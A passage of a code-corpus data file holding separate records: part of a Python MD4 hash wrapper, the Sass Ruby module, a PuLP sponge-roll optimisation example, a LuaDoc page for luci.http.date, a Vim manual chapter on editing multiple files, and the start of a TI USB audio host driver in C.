_raw_md4_lib.md4_destroy)\n if data:\n self.update(data)\n\n def update(self, data):\n \"\"\"Continue hashing of a message by consuming the next chunk of data.\n\n Repeated calls are equivalent to a single call with the concatenation\n of all the arguments. In other words:\n\n >>> m.update(a); m.update(b)\n\n is equivalent to:\n\n >>> m.update(a+b)\n\n :Parameters:\n data : byte string/byte array/memoryview\n The next chunk of the message being hashed.\n \"\"\"\n\n result = _raw_md4_lib.md4_update(self._state.get(),\n c_uint8_ptr(data),\n c_size_t(len(data)))\n if result:\n raise ValueError(\"Error %d while instantiating MD4\"\n % result)\n\n def digest(self):\n \"\"\"Return the **binary** (non-printable) digest of the message that\n has been hashed so far.\n\n This method does not change the state of the hash object.\n You can continue updating the object after calling this function.\n\n :Return: A byte string of `digest_size` bytes. It may contain non-ASCII\n characters, including null bytes.\n \"\"\"\n\n bfr = create_string_buffer(self.digest_size)\n result = _raw_md4_lib.md4_digest(self._state.get(),\n bfr)\n if result:\n raise ValueError(\"Error %d while instantiating MD4\"\n % result)\n\n return get_raw_buffer(bfr)\n\n def hexdigest(self):\n \"\"\"Return the **printable** digest of the message that has been\n hashed so far.\n\n This method does not change the state of the hash object.\n\n :Return: A string of 2* `digest_size` characters. It contains only\n hexadecimal ASCII digits.\n \"\"\"\n\n return \"\".join([\"%02x\" % bord(x) for x in self.digest()])\n\n def copy(self):\n \"\"\"Return a copy (\"clone\") of the hash object.\n\n The copy will have the same internal state as the original hash\n object.\n This can be used to efficiently compute the digests of strings that\n share a common initial substring.\n\n :Return: A hash object of the same type\n \"\"\"\n\n clone = MD4Hash()\n result = _raw_md4_lib.md4_copy(self._state.get(),\n clone._state.get())\n if result:\n raise ValueError(\"Error %d while copying MD4\" % result)\n return clone\n\n def new(self, data=None):\n return MD4Hash(data)\n\n\ndef new(data=None):\n \"\"\"Return a fresh instance of the hash object.\n\n :Parameters:\n data : byte string/byte array/memoryview\n The very first chunk of the message to hash.\n It is equivalent to an early call to `MD4Hash.update()`.\n Optional.\n\n :Return: A `MD4Hash` object\n \"\"\"\n return MD4Hash().new(data)\n\n#: The size of the resulting hash in bytes.\ndigest_size = MD4Hash.digest_size\n\n#: The internal block size of the hash algorithm in bytes.\nblock_size = MD4Hash.block_size\n"} +{"text": "dir = File.dirname(__FILE__)\n$LOAD_PATH.unshift dir unless $LOAD_PATH.include?(dir)\n\nrequire 'sass/version'\n\n# The module that contains everything Sass-related:\n#\n# * {Sass::Engine} is the class used to render Sass/SCSS within Ruby code.\n# * {Sass::Plugin} is interfaces with web frameworks (Rails and Merb in particular).\n# * {Sass::SyntaxError} is raised when Sass encounters an error.\n# * {Sass::CSS} handles conversion of CSS to Sass.\n#\n# Also see the {file:SASS_REFERENCE.md full Sass reference}.\nmodule Sass\n class << self\n # @private\n attr_accessor :tests_running\n end\n\n # The global load paths for Sass files. This is meant for plugins and\n # libraries to register the paths to their Sass stylesheets to that they may\n # be `@imported`. This load path is used by every instance of {Sass::Engine}.\n # They are lower-precedence than any load paths passed in via the\n # {file:SASS_REFERENCE.md#load_paths-option `:load_paths` option}.\n #\n # If the `SASS_PATH` environment variable is set,\n # the initial value of `load_paths` will be initialized based on that.\n # The variable should be a colon-separated list of path names\n # (semicolon-separated on Windows).\n #\n # Note that files on the global load path are never compiled to CSS\n # themselves, even if they aren't partials. They exist only to be imported.\n #\n # @example\n # Sass.load_paths << File.dirname(__FILE__ + '/sass')\n # @return [Array]\n def self.load_paths\n @load_paths ||= if ENV['SASS_PATH']\n ENV['SASS_PATH'].split(Sass::Util.windows? ? ';' : ':')\n else\n []\n end\n end\n\n # Compile a Sass or SCSS string to CSS.\n # Defaults to SCSS.\n #\n # @param contents [String] The contents of the Sass file.\n # @param options [{Symbol => Object}] An options hash;\n # see {file:SASS_REFERENCE.md#Options the Sass options documentation}\n # @raise [Sass::SyntaxError] if there's an error in the document\n # @raise [Encoding::UndefinedConversionError] if the source encoding\n # cannot be converted to UTF-8\n # @raise [ArgumentError] if the document uses an unknown encoding with `@charset`\n def self.compile(contents, options = {})\n options[:syntax] ||= :scss\n Engine.new(contents, options).to_css\n end\n\n # Compile a file on disk to CSS.\n #\n # @raise [Sass::SyntaxError] if there's an error in the document\n # @raise [Encoding::UndefinedConversionError] if the source encoding\n # cannot be converted to UTF-8\n # @raise [ArgumentError] if the document uses an unknown encoding with `@charset`\n #\n # @overload compile_file(filename, options = {})\n # Return the compiled CSS rather than writing it to a file.\n #\n # @param filename [String] The path to the Sass, SCSS, or CSS file on disk.\n # @param options [{Symbol => Object}] An options hash;\n # see {file:SASS_REFERENCE.md#Options the Sass options documentation}\n # @return [String] The compiled CSS.\n #\n # @overload compile_file(filename, css_filename, options = {})\n # Write the compiled CSS to a file.\n #\n # @param filename [String] The path to the Sass, SCSS, or CSS file on disk.\n # @param options [{Symbol => Object}] An options hash;\n # see {file:SASS_REFERENCE.md#Options the Sass options documentation}\n # @param css_filename [String] The location to which to write the compiled CSS.\n def self.compile_file(filename, *args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n css_filename = args.shift\n result = Sass::Engine.for_file(filename, options).render\n if css_filename\n options[:css_filename] ||= css_filename\n open(css_filename, \"w\") {|css_file| css_file.write(result)}\n nil\n else\n result\n end\n end\nend\n\nrequire 'sass/logger'\nrequire 'sass/util'\n\nrequire 'sass/engine'\nrequire 'sass/plugin' if defined?(Merb::Plugins)\nrequire 'sass/railtie'\nrequire 'sass/features'\n"} +{"text": "\"\"\"\nThe Simplified Sponge Roll Problem for the PuLP Modeller\n\nAuthors: Antony Phillips, Dr Stuart Mitchell 2007\n\"\"\"\n\n# Import PuLP modeler functions\nfrom pulp import *\n\n# A list of all the roll lengths is created\nLenOpts = [\"5\",\"7\",\"9\"]\n\n# A dictionary of the demand for each roll length is created\nrollDemand = {\"5\":150,\n \"7\":200,\n \"9\":300}\n\n# A list of all the patterns is created\nPatternNames = [\"A\",\"B\",\"C\"]\n\n# Creates a list of the number of rolls in each pattern for each different roll length\npatterns = [#A B C\n [0,2,2],# 5\n [1,1,0],# 7\n [1,0,1] # 9\n ]\n\n# The cost of each 20cm long sponge roll used\ncost = 1\n\n# The pattern data is made into a dictionary\npatterns = makeDict([LenOpts,PatternNames],patterns,0)\n\n# The problem variables of the number of each pattern to make are created\nvars = LpVariable.dicts(\"Patt\",PatternNames,0,None,LpInteger)\n\n# The variable 'prob' is created\nprob = LpProblem(\"Cutting Stock Problem\",LpMinimize)\n\n# The objective function is entered: the total number of large rolls used * the fixed cost of each\nprob += lpSum([vars[i]*cost for i in PatternNames]),\"Production Cost\"\n\n# The demand minimum constraint is entered\nfor i in LenOpts:\n prob += lpSum([vars[j]*patterns[i][j] for j in PatternNames])>=rollDemand[i],\"Ensuring enough %s cm rolls\"%i\n \n# The problem data is written to an .lp file\nprob.writeLP(\"SpongeRollProblem.lp\")\n\n# The problem is solved using PuLP's choice of Solver\nprob.solve()\n\n# The status of the solution is printed to the screen\nprint(\"Status:\", LpStatus[prob.status])\n\n# Each of the variables is printed with it's resolved optimum value\nfor v in prob.variables():\n print(v.name, \"=\", v.varValue)\n\n# The optimised objective function value is printed to the screen \nprint(\"Production Costs = \", value(prob.objective))\n"} +{"text": "\n\n\n Reference\n \n\t\n\n\n\n
    \n\n
    \n\t
    \n\t
    \n\t
    \n
    \n\n
    \n\n
    \n\n\n

    LuaDoc

    \n\n\n\n\n\n

    Modules

    \n\n\n\n\n\n\n\n\n\n\n\n\n
    \n\n
    \n\n

    Class luci.http.date

    \n\n

    \n\n\n\n\n\n\n\n

    Functions

    \n\n\n\t\n\t\n\t\n\t\n\n\t\n\t\n\t\n\t\n\n\t\n\t\n\t\n\t\n\n\t\n\t\n\t\n\t\n\n
    compare (d1, d2)\n \nCompare two dates which can either be unix epoch times or HTTP date strings.
    to_http (time)\n \nConvert the given unix epoch time to valid HTTP date string.
    to_unix (data)\n \nParse given HTTP date string and convert it to unix epoch time.
    tz_offset (tz)\n \nReturn the time offset in seconds between the UTC and given time zone.
    \n\n\n\n\n\n\n
    \n
    \n\n\n

    Functions

    \n
    \n\n\n\n
    compare (d1, d2)
    \n
    \n\n \nCompare two dates which can either be unix epoch times or HTTP date strings. \n\n\n\n

    Parameters

    \n
      \n\t\n\t
    • \n\t d1: The first date or epoch time to compare\n\t
    • \n\t\n\t
    • \n\t d2: The first date or epoch time to compare\n\t
    • \n\t\n
    \n\n\n\n\n\n\n

    Return values:

    \n
      \n\t\n\t
    1. -1 - if d1 is lower then d2\n\t\n\t
    2. 0 - if both dates are equal\n\t\n\t
    3. 1 - if d1 is higher then d2\n\t\n
    \n\n\n\n
    \n\n\n\n\n
    to_http (time)
    \n
    \n\n \nConvert the given unix epoch time to valid HTTP date string. \n\n\n\n

    Parameters

    \n
      \n\t\n\t
    • \n\t time: Unix epoch time\n\t
    • \n\t\n
    \n\n\n\n\n\n\n

    Return value:

    \nString containing the formatted date\n\n\n\n
    \n\n\n\n\n
    to_unix (data)
    \n
    \n\n \nParse given HTTP date string and convert it to unix epoch time. \n\n\n\n

    Parameters

    \n
      \n\t\n\t
    • \n\t data: String containing the date\n\t
    • \n\t\n
    \n\n\n\n\n\n\n

    Return value:

    \nUnix epoch time\n\n\n\n
    \n\n\n\n\n
    tz_offset (tz)
    \n
    \n\n \nReturn the time offset in seconds between the UTC and given time zone. \n\n\n\n

    Parameters

    \n
      \n\t\n\t
    • \n\t tz: Symbolic or numeric timezone specifier\n\t
    • \n\t\n
    \n\n\n\n\n\n\n

    Return value:

    \nTime offset to UTC in seconds\n\n\n\n
    \n\n\n
    \n\n\n\n\n\n
    \n\n
    \n\n
    \n\t

    \"Valid

    \n
    \n\n
    \n\n\n"} +{"text": "*usr_07.txt*\tFor Vim version 7.4. Last change: 2006 Apr 24\n\n\t\t VIM USER MANUAL - by Bram Moolenaar\n\n\t\t\t Editing more than one file\n\n\nNo matter how many files you have, you can edit them without leaving Vim.\nDefine a list of files to work on and jump from one to the other. Copy text\nfrom one file and put it in another one.\n\n|07.1|\tEdit another file\n|07.2|\tA list of files\n|07.3|\tJumping from file to file\n|07.4|\tBackup files\n|07.5|\tCopy text between files\n|07.6|\tViewing a file\n|07.7|\tChanging the file name\n\n Next chapter: |usr_08.txt| Splitting windows\n Previous chapter: |usr_06.txt| Using syntax highlighting\nTable of contents: |usr_toc.txt|\n\n==============================================================================\n*07.1*\tEdit another file\n\nSo far you had to start Vim for every file you wanted to edit. There is a\nsimpler way. To start editing another file, use this command: >\n\n\t:edit foo.txt\n\nYou can use any file name instead of \"foo.txt\". Vim will close the current\nfile and open the new one. If the current file has unsaved changes, however,\nVim displays an error message and does not open the new file:\n\n\tE37: No write since last change (use ! to override) ~\n\n\tNote:\n\tVim puts an error ID at the start of each error message. If you do\n\tnot understand the message or what caused it, look in the help system\n\tfor this ID. In this case: >\n\n\t\t:help E37\n\nAt this point, you have a number of alternatives. You can write the file\nusing this command: >\n\n\t:write\n\nOr you can force Vim to discard your changes and edit the new file, using the\nforce (!) character: >\n\n\t:edit! foo.txt\n\nIf you want to edit another file, but not write the changes in the current\nfile yet, you can make it hidden: >\n\n\t:hide edit foo.txt\n\nThe text with changes is still there, but you can't see it. This is further\nexplained in section |22.4|: The buffer list.\n\n==============================================================================\n*07.2*\tA list of files\n\nYou can start Vim to edit a sequence of files. For example: >\n\n\tvim one.c two.c three.c\n\nThis command starts Vim and tells it that you will be editing three files.\nVim displays just the first file. After you have done your thing in this\nfile, to edit the next file you use this command: >\n\n\t:next\n\nIf you have unsaved changes in the current file, you will get an error\nmessage and the \":next\" will not work. This is the same problem as with\n\":edit\" mentioned in the previous section. To abandon the changes: >\n\n\t:next!\n\nBut mostly you want to save the changes and move on to the next file. There\nis a special command for this: >\n\n\t:wnext\n\nThis does the same as using two separate commands: >\n\n\t:write\n\t:next\n\n\nWHERE AM I?\n\nTo see which file in the argument list you are editing, look in the window\ntitle. It should show something like \"(2 of 3)\". This means you are editing\nthe second file out of three files.\n If you want to see the list of files, use this command: >\n\n\t:args\n\nThis is short for \"arguments\". The output might look like this:\n\n\tone.c [two.c] three.c ~\n\nThese are the files you started Vim with. The one you are currently editing,\n\"two.c\", is in square brackets.\n\n\nMOVING TO OTHER ARGUMENTS\n\nTo go back one file: >\n\n\t:previous\n\nThis is just like the \":next\" command, except that it moves in the other\ndirection. Again, there is a shortcut command for when you want to write the\nfile first: >\n\n\t:wprevious\n\nTo move to the very last file in the list: >\n\n\t:last\n\nAnd to move back to the first one again: >\n\n\t:first\n\nThere is no \":wlast\" or \":wfirst\" command though!\n\nYou can use a count for \":next\" and \":previous\". To skip two files forward: >\n\n\t:2next\n\n\nAUTOMATIC WRITING\n\nWhen moving around the files and making changes, you have to remember to use\n\":write\". Otherwise you will get an error message. If you are sure you\nalways want to write modified files, you can tell Vim to automatically write\nthem: >\n\n\t:set autowrite\n\nWhen you are editing a file which you may not want to write, switch it off\nagain: >\n\n\t:set noautowrite\n\n\nEDITING ANOTHER LIST OF FILES\n\nYou can redefine the list of files without the need to exit Vim and start it\nagain. Use this command to edit three other files: >\n\n\t:args five.c six.c seven.h\n\nOr use a wildcard, like it's used in the shell: >\n\n\t:args *.txt\n\nVim will take you to the first file in the list. Again, if the current file\nhas changes, you can either write the file first, or use \":args!\" (with !\nadded) to abandon the changes.\n\n\nDID YOU EDIT THE LAST FILE?\n\t\t\t\t\t\t\t*arglist-quit*\nWhen you use a list of files, Vim assumes you want to edit them all. To\nprotect you from exiting too early, you will get this error when you didn't\nedit the last file in the list yet:\n\n\tE173: 46 more files to edit ~\n\nIf you really want to exit, just do it again. Then it will work (but not when\nyou did other commands in between).\n\n==============================================================================\n*07.3*\tJumping from file to file\n\nTo quickly jump between two files, press CTRL-^ (on English-US keyboards the ^\nis above the 6 key). Example: >\n\n\t:args one.c two.c three.c\n\nYou are now in one.c. >\n\n\t:next\n\nNow you are in two.c. Now use CTRL-^ to go back to one.c. Another CTRL-^ and\nyou are back in two.c. Another CTRL-^ and you are in one.c again. If you now\ndo: >\n\n\t:next\n\nYou are in three.c. Notice that the CTRL-^ command does not change the idea\nof where you are in the list of files. Only commands like \":next\" and\n\":previous\" do that.\n\nThe file you were previously editing is called the \"alternate\" file. When you\njust started Vim CTRL-^ will not work, since there isn't a previous file.\n\n\nPREDEFINED MARKS\n\nAfter jumping to another file, you can use two predefined marks which are very\nuseful: >\n\n\t`\"\n\nThis takes you to the position where the cursor was when you left the file.\nAnother mark that is remembered is the position where you made the last\nchange: >\n\n\t`.\n\nSuppose you are editing the file \"one.txt\". Somewhere halfway the file you\nuse \"x\" to delete a character. Then you go to the last line with \"G\" and\nwrite the file with \":w\". You edit several other files, and then use \":edit\none.txt\" to come back to \"one.txt\". If you now use `\" Vim jumps to the last\nline of the file. Using `. takes you to the position where you deleted the\ncharacter. Even when you move around in the file `\" and `. will take you to\nthe remembered position. At least until you make another change or leave the\nfile.\n\n\nFILE MARKS\n\nIn chapter 4 was explained how you can place a mark in a file with \"mx\" and\njump to that position with \"`x\". That works within one file. If you edit\nanother file and place marks there, these are specific for that file. Thus\neach file has its own set of marks, they are local to the file.\n So far we were using marks with a lowercase letter. There are also marks\nwith an uppercase letter. These are global, they can be used from any file.\nFor example suppose that we are editing the file \"foo.txt\". Go to halfway the\nfile (\"50%\") and place the F mark there (F for foo): >\n\n\t50%mF\n\nNow edit the file \"bar.txt\" and place the B mark (B for bar) at its last line:\n>\n\tGmB\n\nNow you can use the \"'F\" command to jump back to halfway foo.txt. Or edit yet\nanother file, type \"'B\" and you are at the end of bar.txt again.\n\nThe file marks are remembered until they are placed somewhere else. Thus you\ncan place the mark, do hours of editing and still be able to jump back to that\nmark.\n It's often useful to think of a simple connection between the mark letter\nand where it is placed. For example, use the H mark in a header file, M in\na Makefile and C in a C code file.\n\nTo see where a specific mark is, give an argument to the \":marks\" command: >\n\n\t:marks M\n\nYou can also give several arguments: >\n\n\t:marks MCP\n\nDon't forget that you can use CTRL-O and CTRL-I to jump to older and newer\npositions without placing marks there.\n\n==============================================================================\n*07.4*\tBackup files\n\nUsually Vim does not produce a backup file. If you want to have one, all you\nneed to do is execute the following command: >\n\n\t:set backup\n\nThe name of the backup file is the original file with a ~ added to the end.\nIf your file is named data.txt, for example, the backup file name is\ndata.txt~.\n If you do not like the fact that the backup files end with ~, you can\nchange the extension: >\n\n\t:set backupext=.bak\n\nThis will use data.txt.bak instead of data.txt~.\n Another option that matters here is 'backupdir'. It specifies where the\nbackup file is written. The default, to write the backup in the same\ndirectory as the original file, will mostly be the right thing.\n\n\tNote:\n\tWhen the 'backup' option isn't set but the 'writebackup' is, Vim will\n\tstill create a backup file. However, it is deleted as soon as writing\n\tthe file was completed successfully. This functions as a safety\n\tagainst losing your original file when writing fails in some way (disk\n\tfull is the most common cause; being hit by lightning might be\n\tanother, although less common).\n\n\nKEEPING THE ORIGINAL FILE\n\nIf you are editing source files, you might want to keep the file before you\nmake any changes. But the backup file will be overwritten each time you write\nthe file. Thus it only contains the previous version, not the first one.\n To make Vim keep the original file, set the 'patchmode' option. This\nspecifies the extension used for the first backup of a changed file. Usually\nyou would do this: >\n\n\t:set patchmode=.orig\n\nWhen you now edit the file data.txt for the first time, make changes and write\nthe file, Vim will keep a copy of the unchanged file under the name\n\"data.txt.orig\".\n If you make further changes to the file, Vim will notice that\n\"data.txt.orig\" already exists and leave it alone. Further backup files will\nthen be called \"data.txt~\" (or whatever you specified with 'backupext').\n If you leave 'patchmode' empty (that is the default), the original file\nwill not be kept.\n\n==============================================================================\n*07.5*\tCopy text between files\n\nThis explains how to copy text from one file to another. Let's start with a\nsimple example. Edit the file that contains the text you want to copy. Move\nthe cursor to the start of the text and press \"v\". This starts Visual mode.\nNow move the cursor to the end of the text and press \"y\". This yanks (copies)\nthe selected text.\n To copy the above paragraph, you would do: >\n\n\t:edit thisfile\n\t/This\n\tvjjjj$y\n\nNow edit the file you want to put the text in. Move the cursor to the\ncharacter where you want the text to appear after. Use \"p\" to put the text\nthere. >\n\t:edit otherfile\n\t/There\n\tp\n\nOf course you can use many other commands to yank the text. For example, to\nselect whole lines start Visual mode with \"V\". Or use CTRL-V to select a\nrectangular block. Or use \"Y\" to yank a single line, \"yaw\" to yank-a-word,\netc.\n The \"p\" command puts the text after the cursor. Use \"P\" to put the text\nbefore the cursor. Notice that Vim remembers if you yanked a whole line or a\nblock, and puts it back that way.\n\n\nUSING REGISTERS\n\nWhen you want to copy several pieces of text from one file to another, having\nto switch between the files and writing the target file takes a lot of time.\nTo avoid this, copy each piece of text to its own register.\n A register is a place where Vim stores text. Here we will use the\nregisters named a to z (later you will find out there are others). Let's copy\na sentence to the f register (f for First): >\n\n\t\"fyas\n\nThe \"yas\" command yanks a sentence like before. It's the \"f that tells Vim\nthe text should be place in the f register. This must come just before the\nyank command.\n Now yank three whole lines to the l register (l for line): >\n\n\t\"l3Y\n\nThe count could be before the \"l just as well. To yank a block of text to the\nb (for block) register: >\n\n\tCTRL-Vjjww\"by\n\nNotice that the register specification \"b is just before the \"y\" command.\nThis is required. If you would have put it before the \"w\" command, it would\nnot have worked.\n Now you have three pieces of text in the f, l and b registers. Edit\nanother file, move around and place the text where you want it: >\n\n\t\"fp\n\nAgain, the register specification \"f comes before the \"p\" command.\n You can put the registers in any order. And the text stays in the register\nuntil you yank something else into it. Thus you can put it as many times as\nyou like.\n\nWhen you delete text, you can also specify a register. Use this to move\nseveral pieces of text around. For example, to delete-a-word and write it in\nthe w register: >\n\n\t\"wdaw\n\nAgain, the register specification comes before the delete command \"d\".\n\n\nAPPENDING TO A FILE\n\nWhen collecting lines of text into one file, you can use this command: >\n\n\t:write >> logfile\n\nThis will write the text of the current file to the end of \"logfile\". Thus it\nis appended. This avoids that you have to copy the lines, edit the log file\nand put them there. Thus you save two steps. But you can only append to the\nend of a file.\n To append only a few lines, select them in Visual mode before typing\n\":write\". In chapter 10 you will learn other ways to select a range of lines.\n\n==============================================================================\n*07.6*\tViewing a file\n\nSometimes you only want to see what a file contains, without the intention to\never write it back. There is the risk that you type \":w\" without thinking and\noverwrite the original file anyway. To avoid this, edit the file read-only.\n To start Vim in readonly mode, use this command: >\n\n\tvim -R file\n\nOn Unix this command should do the same thing: >\n\n\tview file\n\nYou are now editing \"file\" in read-only mode. When you try using \":w\" you\nwill get an error message and the file won't be written.\n When you try to make a change to the file Vim will give you a warning:\n\n\tW10: Warning: Changing a readonly file ~\n\nThe change will be done though. This allows for formatting the file, for\nexample, to be able to read it easily.\n If you make changes to a file and forgot that it was read-only, you can\nstill write it. Add the ! to the write command to force writing.\n\nIf you really want to forbid making changes in a file, do this: >\n\n\tvim -M file\n\nNow every attempt to change the text will fail. The help files are like this,\nfor example. If you try to make a change you get this error message:\n\n\tE21: Cannot make changes, 'modifiable' is off ~\n\nYou could use the -M argument to setup Vim to work in a viewer mode. This is\nonly voluntary though, since these commands will remove the protection: >\n\n\t:set modifiable\n\t:set write\n\n==============================================================================\n*07.7*\tChanging the file name\n\nA clever way to start editing a new file is by using an existing file that\ncontains most of what you need. For example, you start writing a new program\nto move a file. You know that you already have a program that copies a file,\nthus you start with: >\n\n\t:edit copy.c\n\nYou can delete the stuff you don't need. Now you need to save the file under\na new name. The \":saveas\" command can be used for this: >\n\n\t:saveas move.c\n\nVim will write the file under the given name, and edit that file. Thus the\nnext time you do \":write\", it will write \"move.c\". \"copy.c\" remains\nunmodified.\n When you want to change the name of the file you are editing, but don't\nwant to write the file, you can use this command: >\n\n\t:file move.c\n\nVim will mark the file as \"not edited\". This means that Vim knows this is not\nthe file you started editing. When you try to write the file, you might get\nthis message:\n\n\tE13: File exists (use ! to override) ~\n\nThis protects you from accidentally overwriting another file.\n\n==============================================================================\n\nNext chapter: |usr_08.txt| Splitting windows\n\nCopyright: see |manual-copyright| vim:tw=78:ts=8:ft=help:norl:\n"} +{"text": "//*****************************************************************************\r\n//\r\n// usb_sound.c - USB host audio handling functions.\r\n//\r\n// Copyright (c) 2013-2014 Texas Instruments Incorporated. All rights reserved.\r\n// Software License Agreement\r\n// \r\n// Texas Instruments (TI) is supplying this software for use solely and\r\n// exclusively on TI's microcontroller products. The software is owned by\r\n// TI and/or its suppliers, and is protected under applicable copyright\r\n// laws. You may not combine this software with \"viral\" open-source\r\n// software in order to form a larger program.\r\n// \r\n// THIS SOFTWARE IS PROVIDED \"AS IS\" AND WITH ALL FAULTS.\r\n// NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT\r\n// NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\r\n// A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY\r\n// CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL\r\n// DAMAGES, FOR ANY REASON WHATSOEVER.\r\n// \r\n// This is part of revision 2.1.0.12573 of the DK-TM4C129X Firmware Package.\r\n//\r\n//*****************************************************************************\r\n\r\n#include \r\n#include \r\n#include \"inc/hw_types.h\"\r\n#include \"inc/hw_memmap.h\"\r\n#include \"drivers/usb_sound.h\"\r\n#include \"driverlib/gpio.h\"\r\n#include \"driverlib/sysctl.h\"\r\n#include \"driverlib/udma.h\"\r\n#include \"driverlib/usb.h\"\r\n#include \"usblib/usblib.h\"\r\n#include \"usblib/usbmsc.h\"\r\n#include \"usblib/host/usbhost.h\"\r\n#include \"usblib/host/usbhaudio.h\"\r\n\r\n//*****************************************************************************\r\n//\r\n// The size of the host controller's memory pool in bytes.\r\n//\r\n//*****************************************************************************\r\n#define HCD_MEMORY_SIZE 768\r\n\r\n//*****************************************************************************\r\n//\r\n// The memory pool to provide to the Host controller driver.\r\n//\r\n//*****************************************************************************\r\nuint8_t g_pHCDPool[HCD_MEMORY_SIZE];\r\n\r\n//*****************************************************************************\r\n//\r\n// The instance data for the USB host audio driver.\r\n//\r\n//*****************************************************************************\r\ntUSBHostAudioInstance *g_psAudioInstance;\r\n\r\n//*****************************************************************************\r\n//\r\n// Declare the USB Events driver interface.\r\n//\r\n//*****************************************************************************\r\nDECLARE_EVENT_DRIVER(g_sUSBEventDriver, 0, 0, USBHCDEvents);\r\n\r\n//*****************************************************************************\r\n//\r\n// This structure holds the state information for the USB audio device.\r\n//\r\n//*****************************************************************************\r\nstatic struct\r\n{\r\n //\r\n // Save the application provided callback function.\r\n //\r\n tUSBBufferCallback pfnCallbackOut;\r\n\r\n //\r\n // Save the application provided callback function.\r\n //\r\n tUSBBufferCallback pfnCallbackIn;\r\n\r\n //\r\n // The event callback for the application.\r\n //\r\n tEventCallback pfnCallbackEvent;\r\n\r\n //\r\n // Volume control multipliers calculated from the information received\r\n // from the audio device.\r\n //\r\n uint32_t pui32Steps[3];\r\n\r\n //\r\n // The currently pending audio device events.\r\n //\r\n uint32_t ui32EventFlags;\r\n\r\n //\r\n // The current state for the audio device.\r\n //\r\n volatile enum\r\n {\r\n //\r\n // No device is present.\r\n //\r\n eStateNoDevice,\r\n\r\n //\r\n // Audio device is ready.\r\n //\r\n eStateDeviceReady,\r\n\r\n //\r\n // An unsupported device has been attached.\r\n //\r\n eStateUnknownDevice,\r\n\r\n //\r\n // A power fault has occurred.\r\n //\r\n eStatePowerFault\r\n }\r\n iState;\r\n\r\n} g_sAudioState;\r\n\r\n//*****************************************************************************\r\n//\r\n// These defines are used with the ui32EventFlags in the g_sAudioState\r\n// structure.\r\n//\r\n//*****************************************************************************\r\n#define EVENT_OPEN 0x00000001\r\n#define EVENT_CLOSE 0x00000002\r\n\r\n//*****************************************************************************\r\n//\r\n// The global that holds all of the host drivers in use in the application.\r\n// In this case, only the host audio class is loaded.\r\n//\r\n//*****************************************************************************\r\nstatic tUSBHostClassDriver const * const g_ppHostClassDrivers[] =\r\n{\r\n &g_sUSBHostAudioClassDriver,\r\n &g_sUSBEventDriver\r\n};\r\n\r\n//*****************************************************************************\r\n//\r\n// This global holds the number of class drivers in the g_ppHostClassDrivers\r\n// list.\r\n//\r\n//*****************************************************************************\r\nstatic const uint32_t g_ui32NumHostClassDrivers =\r\n sizeof(g_ppHostClassDrivers) / sizeof(tUSBHostClassDriver *);\r\n\r\n//*****************************************************************************\r\n//\r\n// This function was the callback function registered with the USB host audio\r\n// class driver. The only two events that are handled at this point are the\r\n// USBH_AUDIO_EVENT_OPEN and USBH_AUDIO_EVENT_CLOSE which indicate that a new\r\n// audio device has been found or that an existing audio device has been\r\n// disconnected.\r\n//\r\n//*****************************************************************************\r\nstatic void\r\nAudioCallback(tUSBHostAudioInstance *psAudioInstance, uint32_t ui32Event,\r\n uint32_t ui32MsgParam, void *pvBuffer)\r\n{\r\n switch(ui32Event)\r\n {\r\n //\r\n // New USB audio device has been enabled.\r\n //\r\n case USBH_AUDIO_EVENT_OPEN:\r\n {\r\n //\r\n // Set the EVENT_OPEN flag and let the main routine handle it.\r\n //\r\n HWREGBITW(&g_sAudioState.ui32EventFlags, EVENT_OPEN) = 1;\r\n\r\n break;\r\n }\r\n\r\n //\r\n // USB audio device has been removed.\r\n //\r\n case USBH_AUDIO_EVENT_CLOSE:\r\n {\r\n //\r\n // Set the EVENT_CLOSE flag and let the main routine handle it.\r\n //\r\n HWREGBITW(&g_sAudioState.ui32EventFlags, EVENT_CLOSE) = 1;\r\n\r\n break;\r\n }\r\n default:\r\n {\r\n break;\r\n }\r\n }\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// Initializes the sound output.\r\n//\r\n// \\param ui32Flags is unused as this point but is included for future\r\n// functionality.\r\n// \\param pfnCallback is the event callback function for audio devices.\r\n//\r\n// This function prepares the sound driver to enumerate an audio device and\r\n// prepares to play audio once a valid audio device is detected. The\r\n// \\e pfnCallback function can be used to receive callbacks when there are\r\n// changes related to the audio device. The ui32Event parameter to the\r\n// callback is one of the SOUND_EVENT_* values.\r\n//\r\n// \\return None\r\n//\r\n//*****************************************************************************\r\nvoid\r\nUSBSoundInit(uint32_t ui32Flags, tEventCallback pfnCallback)\r\n{\r\n //\r\n // Initialize the USB stack mode to force host mode.\r\n //\r\n USBStackModeSet(0, eUSBModeForceHost, 0);\r\n\r\n //\r\n // Register the host class drivers.\r\n //\r\n USBHCDRegisterDrivers(0, g_ppHostClassDrivers, g_ui32NumHostClassDrivers);\r\n\r\n //\r\n // Open an instance of the audio class driver.\r\n //\r\n g_psAudioInstance = USBHostAudioOpen(0, AudioCallback);\r\n\r\n //\r\n // Initialize the power configuration. This sets the power enable signal\r\n // to be active high and does not enable the power fault.\r\n //\r\n USBHCDPowerConfigInit(0, USBHCD_VBUS_AUTO_HIGH | USBHCD_VBUS_FILTER);\r\n\r\n //\r\n // Initialize the USB controller for host mode operation.\r\n //\r\n USBHCDInit(0, g_pHCDPool, HCD_MEMORY_SIZE);\r\n\r\n //\r\n // Save the event callback function.\r\n //\r\n g_sAudioState.pfnCallbackEvent = pfnCallback;\r\n}\r\n\r\n//*****************************************************************************\r\n//\r\n// Sets the volume of the audio device.\r\n//\r\n// \\param ui32Percent is the volume percentage, which must be between 0%\r\n// (silence) and 100% (full volume), inclusive.\r\n//\r\n// This function sets the volume of the sound output to a value between\r\n// silence (0%) and full volume (100%).\r\n//\r\n// \\return None.\r\n//\r\n//*****************************************************************************\r\nvoid\r\nUSBSoundVolumeSet(uint32_t ui32Percent)\r\n{\r\n uint32_t ui32Value;\r\n\r\n //\r\n // Ignore volume changes if there is no device present.\r\n //\r\n if(g_sAudioState.iState == eStateDeviceReady)\r\n {\r\n //\r\n // Scale the voltage percentage to the decibel range provided by the\r\n // USB audio device.\r\n //\r\n ui32Value = (g_sAudioState.pui32Steps[1] * ui32Percent) / 100;\r\n USBHostAudioVolumeSet(g_psAudioInstance, 0, 